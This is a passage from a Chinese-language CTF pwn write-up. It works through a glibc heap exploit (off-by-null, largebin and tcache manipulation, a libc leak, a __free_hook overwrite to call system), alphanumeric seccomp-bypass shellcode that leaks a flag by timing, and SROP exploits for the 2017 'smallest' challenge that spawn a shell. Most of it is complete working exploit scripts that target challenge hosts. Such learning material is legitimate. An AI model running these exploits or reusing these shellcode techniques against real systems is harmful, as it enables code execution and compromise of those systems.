log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = ">> "


def add(size, con):
sla(menu, "1")
sla("size: ", str(size))
sla("content: ", con)

def delete(idx):
sla(menu, "3")
sla("index: ", str(idx))

def show(idx):
sla(menu, "2")
sla("index: ", str(idx))


def pwn():


#(1)前期准备加堆布局:
for i in range(7): # 0-6
add(0x2000-1, "/bin/sh\x00")
add(0x2000-0x1410-0x40-1, "padding") # 7

for i in range(7): # 8-14
add(0x28-1, 'tcache')

#crux chunk15
add(0xb20-1, "largebin") # 15
#prevent merge
add(0x10-1, "padding") # 16




#(2)制作fake_chunk,利用largebin踩下fd_nextsize和bk_nextsize:
delete(15)

#chunk15 to largebin
add(0x1000-1, '\n') #15
#make fake_chunk in chunk17
add(0x28-1, p64(0x6) + p64(0x601) + p8(0x40)) #17



#(3)联动fastbin和smallbin:
add(0x28-1, '\x18') # 18
add(0x28-1, '\xaa') # 19
add(0x28-1, '\x20') # 20
add(0x28-1, '\x21') # 21
# fill in tcache(0x30)
for i in range(7): # 8-14
delete(8 + i)

delete(20)
delete(18)

# clear tcache(0x30)
for i in range(7): # 8-14
add(0x28-1, '\x08')

# fastbin to smallbin
add(0x400-1, '\x20') #18

# get chunk18 from smallbin ,chunk20 to tcache
# change chunk18->bk to point to fake_chunk
add(0x28-1, p64(0) + p8(0x20)) #20



#(4)利用fastbin修改chunk17->fd:
# clear chunk from tcache
add(0x28-1, 'clear') # 21 from tcache

for i in range(7): # 8-14
delete(8 + i)

# free to fastbin
delete(19)
delete(17)

for i in range(7): # 8-14
add(0x28-1, '\x08')

# change chunk17->fd to point to fake_chunk
add(0x28-1, p8(0x20)) #17


#(5)触发off-by-null:
add(0x28-1, "\x19")# 19 from fastbin
show(19)

add(0x108-1, "\x23") # 23 cutting from chunk15 in unsortebin,for overwrite
add(0x518-1, "\x24") # 24 legacy from chunk15 in unsortebin,for trigger off-by-null
#add(0x100-1, "padding") # 24
# off-by-null

delete(23)
add(0x108-1,p64(0x0)*0x21)
delete(23)
add(0x108-1,p64(0x0)*0x1f+"\x00"*7+"\x06")
#edit(22, "a"*0x20 + p64(0x520))
# trigger
delete(24)
add(0x4e8-1,"padding")
show(23)
ru("content: ")
main_arena = u64(rc(6).ljust(8,"\x00"))-96
malloc_hook = main_arena-0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
log.info("system_addr:0x%x"%system_addr)
log.info("libc_base:0x%x"%libc_base)

delete(24)
delete(1)
delete(2)
delete(3)
delete(8)
delete(19)
add(0x4e8-1,p64(0x30)*8+p64(0x30)+p64(0x31)+p64(free_hook))
add(0x28-1,"padding")
add(0x28-1,p64(system_addr))
delete(0)
p.interactive()
#add(0x18-1,"A")
#add(0x18-1,"B")
#delete(0)
#add(0x18-1,p64(0x0)*2+("\x30"+"\x20").ljust(8,"\x00"))
#pause()



i = 0
while True:
i += 1
print i
#p = process(binary)
#p = process(binary, env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("8.140.114.72",1399)
try:
pwn()
p.recv(timeout = 0.5)
#要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发 EOFError
EOFError
except EOFError:
p.close()
continue
else:
sleep(0.1)
p.sendline("1")
pause()
break

二、shellcode:

img

只有系统号0x9,0x5,0x25,0x0,0xe7才能正常被执行,而0x5在32位下是open,即可以利用到open,mmap,和read函数。对于ORW少了一个W,可以使用flag的逐个字符比较的方法来爆破出flag。由于切换retfq需要涉及到构造32位的栈地址,所以这里最好还是用mmap来申请指定位置的一片空间,从而劫持栈。

(1)mmap的设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,,0x7,0x22,0,0)*/
xor rax,rax

/*set rdx*/
mov al,0x7
push rax
pop rdx

/*set rcx*/
mov al,0x22
push rax
pop rcx

/*set rdi*/
xor rdi,rdi
mov edi,0x40404040

/*set rsi*/
mov al,0x7e
push rax
pop rsi

/*set rax*/
mov al,0x9

/*set r8,r9*/
xor r8,r8
xor r9,r9

syscall
'''

这里由于对输入字符做了限制,只能是可见字符,同时由于这里使用alpha3这个工具来将shellcode编码成可见字符。但是这个工具有一个缺点,就是不能出现\x00这个字符,所以如果我们使用mov rax,0x9则使得0x9在64位是0x0000000000000009,存在\x00字符,所以需要用到al,dl,等8位寄存器,来转换一下。

(2)read的设置:

1
2
3
4
5
6
7
8
9
10
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
xor rax,rax
xor rdi,rdi
xor rsi,rsi
mov esi,0x40404040
xor rdx,rdx
mov dl,0x70
syscall
'''

读入到之前用mmap开辟的空间0x40404040处。

(3)retfq的设置:

1
2
3
4
5
6
shellcode_retfq = '''
mov esp,0x40404440
push 0x23
push 0x40404040
retfq
'''

①需要32位的栈,同时劫持esp,使得栈上的完全可控,防止push出错。

②这里0x23为转32位,0x33为转64位。

③push 0x40404040是在retfq之后跳转的地方,需要放到栈上。

▲汇编点:存在xor,mov,retfq多的时候,需要是:shellcode_x64 = asm(shellcode_x64,arch = ‘amd64’,os=’linux’)才行。

以上的很多不太知道原理,具体的在具体用到时候再改。

(4)orw中的or设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
shellcode_open = '''
mov eax, 5
push 0x67616c66
mov ebx, esp
xor ecx, ecx
int 0x80
mov ecx, eax
'''

shellcode_to64 = '''
push 0x33
push 0x4040402b
retfq
'''

shellcode_read_flag = '''
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''

(5)爆破的汇编代码设置:

1
2
3
4
if flag_pos == 0:
shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-4; ret".format(flag_pos, ch)
else:
shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-5; ret".format(flag_pos, ch)

这里的ch即为循环的可见字符,flag_pos是读出flag的对应位置,但是原理就是将读取的flag遍历比较所有可见字符,相等则使得程序跳入循环中,然后就可以通过设置timeout为某个值来判断这个字符是否相等,相等则加入到flag中。类似的有:

1
2
3
4
5
6
7
8
9
10
check = '''
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,231
syscall
loop:
jmp loop
'''.format(reloc,ch)

这里就用到了exit_group,另外rsp,rsi,甚至rbx都可以的,因为读取之后这三个寄存器都保存了flag的值:

img

(6)汇总:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#注释头

from pwn import *

shellcode_open = '''
mov eax, 5
push 0x67616c66
mov ebx, esp
xor ecx, ecx
int 0x80
mov ecx, eax
'''

shellcode_to64 = '''
push 0x33
push 0x4040405b
retfq
'''

shellcode_read_flag = '''
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''

shellcode_open = asm(shellcode_open)
shellcode_to64 = asm(shellcode_to64,arch = 'amd64',os = 'linux')
shellcode_read_flag = asm(shellcode_read_flag,arch = 'amd64',os = 'linux')


def pwn(p, flag_pos, ch):
payload = "Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e4A070c7o4D0c1P0n0x0R3X8P0t140p2C4A2N1P005p0q1M0c3c2u194Y7o0q0y154008135L1L0p3T400q2p0p0p1M0A3r3S0A0B053O0s2G0r051k2z1l2y0w2O0p093k0y"
p.sendline(payload)
sc = asm('''
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,231
syscall
loop:
jmp loop
'''.format(flag_pos,ch),arch = 'amd64',os = 'linux')

if flag_pos == 0:
shellcode = "cmp byte ptr[rsp+{}], {}; jz $-4; ret".format(flag_pos, ch)
else:
shellcode = "cmp byte ptr[rsp+{}], {}; jz $-5; ret".format(flag_pos, ch)
check = asm(shellcode, arch='amd64', os='linux')

payload = shellcode_open + shellcode_to64 + shellcode_read_flag + check
#pause()
p.send(payload)
#pause()

my_flag = ""
flag_pos = 0
while True:
for ch in range(33, 127):
#p = remote("39.105.137.118", 50050)
p = process("./shellcode")
try:
print(ch)
pwn(p, flag_pos, ch)
p.recvline(timeout=3.0)
my_flag = my_flag + chr(ch)
print("=>", my_flag)
flag_pos += 1
p.close()
break
except EOFError:
ch += 1
p.close()
if(my_flag[-1] == '}'):
break
log.info("flag:%s"%my_flag)

360ichunqiu 2017-smallest

1.常规checksec,开了一个NX,没办法shellcode。IDA打开查看程序,找漏洞,有个屁的漏洞,只有一个syscall的系统调用,各种栈操作也没有。

2.观察这个系统调用,系统调用参数通过edx,rsi,rdi赋值,edx直接被赋值为400h,buf对应的rsi被rsp赋值,系统调用号fd对应的rdi被rax赋值。再查看汇编代码,有xor rax,rax,所以rax一定是0,那么这个syscall系统调用的就是read函数,读取的数取直接存入栈顶。由于buf大小为400h,且只有一个syscall,之后直接retn,没有leave指令,这就代表了rsp指向的地址就是我们执行完syscall后start函数retn的返回地址(pop eip)。也就是如果输入一个地址,读取完之后,通过retn就会跳转到该地址中。另外程序中除了retn之外没有其它对栈帧进行操作的指令,如果输入多个syscall地址,就可以反复执行syscall。并且最开始输入400h字节,程序流完全可控。

img

3.首先想到rop,但是题目没给Libc,并且通过调试发现,这个程序压根就没导入外部的Libc库,IDA中打开没有extern,完全没办法常规rop,那么想用SROP。远程调试一下查看堆栈数据,发现临时创建的smallest段数据没有可写权限,能够利用的只有[stack]栈数据。所以这里需要先泄露一个栈地址来让我们能够往栈中写入数据binsh从而调用execve(‘/bin/sh\x00’,0,0)来直接getshell。

img

4.之后观察栈上的数据,发现当运行到syscall时,rsp下方的内容全是栈上的地址。img

rbp一直都是0x000……这是因为程序只有一个start函数,根本就没有为函数再次创建栈,所用的只是最初生成的栈空间。根据这个原理,我们可以通过系统调用sys_write函数,来打印rsp指向的内容,也就是某个栈地址,这样就成功泄露栈地址。

5.但是sys_write的调用号是1,而通过调试发现rax的初始值被默认设置为0,并且程序中没有任何修改rax的代码。唯一一个也只有xor rax, rax,但是任何数和本身异或的结果都是0,所以如果程序每次都从这行代码执行,那么执行的系统调用号永远都是0,也就是会无限循环read。这里想到由于栈完全可控,并且输入一个地址,程序执行完这个地址对应的函数后retn会直接跳转到rsp的下一行。这里选择让程序再执行一次sys_read函数,之后我们为其中一次输入一个字节,并且这次返回不再从xor这行代码开始执行,从mov rsi, rsp开始。由于sys_read的返回值自动写回给rax(一般函数的返回值都会写给rax),所以读取几个字节read就向rax写入多少,这样就会使得rax也可以得到控制,不再被xor为0,调用我们想调用的系统函数。

6.所以编写payload:先尝试一下看能否泄露栈地址,test1.py

1
2
3
4
5
6
7
8
9
10
#注释头

payload = ""
payload += p64(start_addr)
payload += p64(set_rsi_rdi_addr)
payload += p64(start_addr)
#泄露栈地址之后返回到start,执行下一步操作。
io.send(payload)
sleep(3)
io.send(payload[8:8+1])

#利用sys_read随便读取一个字符,设置rax = 1,由于retn关系,rsp下拉了一个单位,所以这里会读入到原先的rsp+0x8处,也就是从原先的Payload中第8个字符开始,抽取一个字符,就是set_rsi_rdi_addr的最后一个字节,为了不改变返回地址。如果写成:io.send(‘\xb8’)效果一样,都是为了不改变返回地址。之后再执行set_rsi_rdi_addr从而执行write函数,

1
2
3
4
5
#注释头

stack_addr = u64(io.recv()[8:16]) + 0x100
#从最初的rsp+0x10开始打印400字节数据,那么从泄露的数据中抽取栈地址,+0x100防止栈数据过近覆盖
log.info('stack addr = %#x' %(stack_addr))

7.这里可以看到成功泄露了一个栈地址,但是不能再用简单读入binsh字符串之后设置SigreturnFrame结构体来getshell,因为这里设置读入地址是通过rsp设置的。如果将rsp设置为我们想读入binsh的栈地址,那么肯定是可以读入binsh字符串的,但是当程序运行到retn时,跳转的是binsh这个地址,这是不合法的,没办法跳转,程序会崩溃。

这里就考虑使用SigreturnFrame()来进行栈劫持,将整个栈挪移到目的地。

(1)首先布置SigreturnFrame()的栈空间,进行栈劫持:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

frame_read = SigreturnFrame()
#设置read的SROP帧,不使用原先的read是因为可以使用SROP同时修改rsp,实现stack pivot
frame_read.rax = constants.SYS_read#调用read读取payload2
frame_read.rdi = 0#fd参数
frame_read.rsi = stack_addr#读取payload2到rsi处
frame_read.rdx = 0x300#读取长度为0x300
#读取的大小
frame_read.rsp = stack_addr#设置SROP执行完的rsp位置
#设置执行SROP之后的rsp为stack_addr,里面存的是start_addr,retn指令执行后从start开始。
frame_read.rip = syscall_addr#设置SROP中的一段代码指令

(2)发送payload。

1
2
3
4
5
6
7
8
9
10
11
#注释头

payload1 = ""
payload1 += p64(start_addr)#读取payload[8:8+15],设置rax=0xf0
payload1 += p64(syscall_addr)#利用rax=0xf0,调用SROP
payload1 += str(frame_read)
io.send(payload1)
sleep(3)
io.send(payload1[8:8+15])
#为rax赋值为0xf0
sleep(3)

程序运行SROP过程中,会执行read函数,将payload2读取到stack_addr处,所以当程序运行完SROP后,栈顶rsp被劫持到stack_addr处,同时stack_addr上保存的内容是payload2,首地址是start,所以retn执行后仍旧从start开始。

(3)设置第二次的SigreturnFrame攻击:

1
2
3
4
5
6
7
#注释头

frame_execve = SigreturnFrame()
#设置execve的SROP帧,注意计算/bin/sh\x00所在地址
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = stack_addr+0x108
frame_execve.rip = syscall_addr

这里的0x108是计算出来的,需要计算从stack_addr到rdi,也就是binsh字符串的距离。由于传进去的是结构体,大小为0xf8。前一个例子中binsh字符串是放在str(frameExecve)之前,所以没有那么大。这里却是放在str(frame_execve)之后,所以从stack_addr为起始,start_addr,syscall_addr,frame_execve),总共为0xf8+0x08*2=0x108,这里不太懂可以调试一下看看。也就是再一次start_addr读取字符串binsh的位置。

8.发送payload,读取binsh字符串,getshell:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

payload2 = ""
payload2 += p64(start_addr)#处在stack_addr处,读取payload[8:8+15],设置rax=0xf0
payload2 += p64(syscall_addr)#处在stack_addr+0x08,利用rax=0xf0,调用SROP
payload2 += str(frame_execve)#处在stack_addr+0x10
payload2 += "/bin/sh\x00"#处在stack+0x108处
io.send(payload2)
sleep(3)
io.send(payload2[8:8+15])
sleep(3)
io.interactive()

9.尝试使用mprotect为栈内存添加可执行权限x,从而shellcode来getshell。

(1)第一段的劫持栈和读取payload2进入劫持栈处都是一样的

1
2
3
4
5
6
7
8
9
10
#注释头

frame_read = SigreturnFrame()#设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rsp = stack_addr
#读取payload2,这个stack_addr地址中的内容就是start地址,SROP执行完后ret跳转到start
frame_read.rip = syscall_addr

(2)第二段需要调用mprotect来修改权限:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

frame_mprotect = SigreturnFrame()
#设置mprotect的SROP帧,用mprotect修改栈内存为RWX
frame_mprotect.rax = constants.SYS_mprotect
frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame_mprotect.rsi = 0x1000
frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
#权限为R,W,X
frame_mprotect.rsp = stack_addr
#劫持栈地址rsp
frame_mprotect.rip = syscall_addr

(3)最后的shellcode:

1
2
3
4
5
6
7
8
9
#注释头

payload2 = ""
payload2 += p64(stack_addr+0x10) #处在stack_addr
#SROP执行完后,ret到stack_addr+0x10处的代码,即执行shellcode
payload2 += asm(shellcraft.amd64.linux.sh())#处在stack_addr+0x10
io.send(payload2)
sleep(3)
io.interactive()

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157